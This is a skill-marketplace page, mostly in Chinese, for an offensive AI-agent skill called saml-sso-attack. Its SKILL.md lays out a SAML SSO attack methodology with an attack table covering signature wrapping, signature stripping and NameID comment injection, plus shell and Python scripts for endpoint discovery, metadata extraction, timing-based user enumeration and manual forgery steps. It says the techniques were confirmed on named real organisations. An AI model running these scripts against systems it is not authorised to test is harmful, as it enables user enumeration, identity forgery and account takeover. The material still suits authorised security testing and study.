用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/EntroVyx/hermes-agent-offsec --skill saml-sso-attack命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Project self-knowledge for Hermes Agent Offsec. Use when the user asks about this fork, its CLI, configuration, update flow, providers, skills, modes, troubleshooting, or how it differs from the original Hermes Agent.
WordPress XML-RPC triage: method enum, multicall abuse, pingback SSRF, and upload-chain validation.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning, vuln hunting (30+ classes), A-to-B chaining, AI/LLM testing, bypass tables, language-specific grep, reporting. Use for ANY bug bounty task.
基于 SOC 职业分类
正在显示 SKILL.md
| name | saml-sso-attack |
| description | Attack SAML SSO via XSW, signature strip, metadata extract. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| metadata | {"hermes":{"tags":["auth","SAML","SSO","XML-signature","identity"],"category":"auth","related_skills":["jwt-attack","exchange-owa-attack","api-noauth-hunt"]}} |
SAML Single Sign-On attack methodology — IdP metadata analysis, XML Signature Wrapping (XSW), signature stripping, comment injection in NameID, and SSO timing-based user enumeration. Confirmed on MPF Argentina (SimpleSAMLphp IdP, 79 XMLRPC methods on WordPress SP), Missao.org.br (Ory Kratos + OIDC), and Panco (ADFS WS-Trust exposed).
idp., sso., login., auth. subdomains).SAMLRequest= or SAMLResponse= parameter./saml2/idp/metadata.php or /FederationMetadata/2007-06/FederationMetadata.xml.exchange-owa-attack discovers ADFS.terminal tool with curl, python3.# Discover SAML IdP metadata
curl -sk "https://TARGET/saml2/idp/metadata.php" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
content = sys.stdin.read()
if 'EntityDescriptor' in content:
root = ET.fromstring(content)
for el in root.iter():
if 'entityID' in el.attrib:
print(f'entityID: {el.attrib[\"entityID\"]}')
"
# Decode SAMLRequest from URL
echo "SAMLREQUEST_BASE64" | python3 -c "
import sys, base64, zlib
raw = base64.b64decode(sys.stdin.read().strip())
decompressed = zlib.decompress(raw, -15)
print(decompressed.decode())
"
| Attack | Prerequisites | Impact |
|---|---|---|
| XML Signature Wrapping (XSW) | Valid signed assertion from any user | Impersonate any user |
| Signature stripping | Server doesn't validate signature presence | Full identity forgery |
| Comment injection in NameID | NameID format allows comments | User impersonation |
| SAML Response replay | No InResponseTo validation | Session hijacking |
| Key confusion | Multiple signing certs in metadata | Sign assertions with different key |
| Audience restriction bypass | No Audience validation | Cross-SP token reuse |
| Metadata extraction | Public IdP metadata | Discover certs, endpoints, bindings |
TARGET="$1"
echo "[*] SAML endpoint discovery on $TARGET"
# Common SAML paths
declare -A SAML_PATHS
SAML_PATHS["/saml2/idp/metadata.php"]="SimpleSAMLphp IdP"
SAML_PATHS["/saml2/sp/metadata.php"]="SimpleSAMLphp SP"
SAML_PATHS["/FederationMetadata/2007-06/FederationMetadata.xml"]="ADFS"
SAML_PATHS["/adfs/ls/IdpInitiatedSignOn.aspx"]="ADFS Login"
SAML_PATHS["/adfs/services/trust"]="ADFS WS-Trust"
SAML_PATHS["/auth/realms/master/protocol/saml"]="Keycloak SAML"
SAML_PATHS["/.well-known/openid-configuration"]="OIDC"
SAML_PATHS["/sso/saml"]="Generic SAML"
SAML_PATHS["/idp/shibboleth"]="Shibboleth"
SAML_PATHS["/simplesamlphp"]="SimpleSAMLphp root"
for path in "${!SAML_PATHS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "https://$TARGET$path")
[[ "$code" == "200" || "$code" == "302" ]] && echo " [FOUND] $path — ${SAML_PATHS[$path]} (HTTP $code)"
done
METADATA_URL="$1" # e.g., https://idp.target.com/saml2/idp/metadata.php
echo "[*] Extracting SAML metadata from $METADATA_URL"
METADATA=$(curl -sk --max-time 10 "$METADATA_URL" 2>/dev/null)
if [[ -z "$METADATA" ]]; then
echo "[-] No metadata accessible"
exit 1
fi
# Parse with Python
echo "$METADATA" | python3 -c "
import sys
from xml.etree import ElementTree as ET
content = sys.stdin.read()
root = ET.fromstring(content)
# Namespaces
ns = {'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
'ds': 'http://www.w3.org/2000/09/xmldsig#'}
# Entity ID
entity_id = root.get('entityID', 'unknown')
print(f'Entity ID: {entity_id}')
# Signing certificates
for cert_el in root.iter('{http://www.w3.org/2000/09/xmldsig#}X509Certificate'):
cert = cert_el.text.strip()
print(f'Signing Cert ({len(cert)} chars): {cert[:60]}...')
# SSO endpoints
for el in root.iter():
if 'Binding' in el.attrib:
binding = el.attrib['Binding']
location = el.attrib.get('Location', '')
if 'HTTP-Redirect' in binding or 'HTTP-POST' in binding:
print(f'Endpoint: {location} [{binding.split(\":\")[-1]}]')
# NameID formats
for el in root.iter('{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat'):
print(f'NameID Format: {el.text}')
" 2>/dev/null
SAML_B64="$1" # from URL parameter or Burp
echo "[*] Decoding SAMLRequest"
echo "$SAML_B64" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
raw = sys.stdin.read().strip()
decoded = base64.b64decode(raw)
try:
decompressed = zlib.decompress(decoded, -15)
except:
decompressed = decoded
xml = decompressed.decode('utf-8', errors='replace')
print(xml[:3000])
root = ET.fromstring(xml)
print()
print('=== Analysis ===')
# Request ID
req_id = root.get('ID', 'none')
print(f'Request ID: {req_id}')
# Issuer
issuer_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:assertion}Issuer')
if issuer_el is not None:
print(f'Issuer: {issuer_el.text}')
# ForceAuthn
force = root.get('ForceAuthn', 'false')
print(f'ForceAuthn: {force}')
# NameIDPolicy
policy_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:protocol}NameIDPolicy')
if policy_el is not None:
allow_create = policy_el.get('AllowCreate', 'false')
fmt = policy_el.get('Format', 'unspecified')
print(f'NameIDPolicy: AllowCreate={allow_create}, Format={fmt}')
" 2>/dev/null
TARGET="$1" # SSO login endpoint
USERS_FILE="$2" # List of usernames/emails to test
echo "[*] SSO timing-based user enumeration"
# The technique: valid users produce a different response time than invalid users
# because the server checks LDAP/AD before returning the SAML response
while read -r user; do
START=$(date +%s%N)
curl -sk -o /dev/null --max-time 15 \
"https://$TARGET/sso/login?username=$user&password=WRONG_PASS" 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo " $user: ${ELAPSED}ms"
done < "$USERS_FILE" | sort -t: -k2 -rn | head -20
echo "[*] Users with significantly higher response times likely exist"
TARGET="$1"
echo "[*] XSW vulnerability analysis"
# Check if IdP signs only the Assertion (good) or the entire Response (better)
# If only the Assertion is signed, XSW is possible:
# 1. Capture a valid SAML Response with signed Assertion
# 2. Create a new Response containing the original signed Assertion + a forged Assertion
# 3. If the SP validates the forged Assertion instead of the signed one → impersonation
echo "[*] Manual XSW test steps:"
echo " 1. Capture SAML Response from browser (Burp/DevTools)"
echo " 2. Decode SAMLResponse (base64 + inflate)"
echo " 3. Check: is Signature on Response or Assertion level?"
echo " 4. If Assertion-level: wrap original Assertion + forged Assertion in new Response"
echo " 5. Submit forged SAMLResponse to SP ACS endpoint"
echo " 6. If SP accepts → XSW confirmed"
/saml2/idp/metadata.php/adfs/services/trust exposedUsernameMixed endpoint allows credential testing/wp-admin/ to IdP/wp-json/ and /xmlrpc.php are NOT behind SSO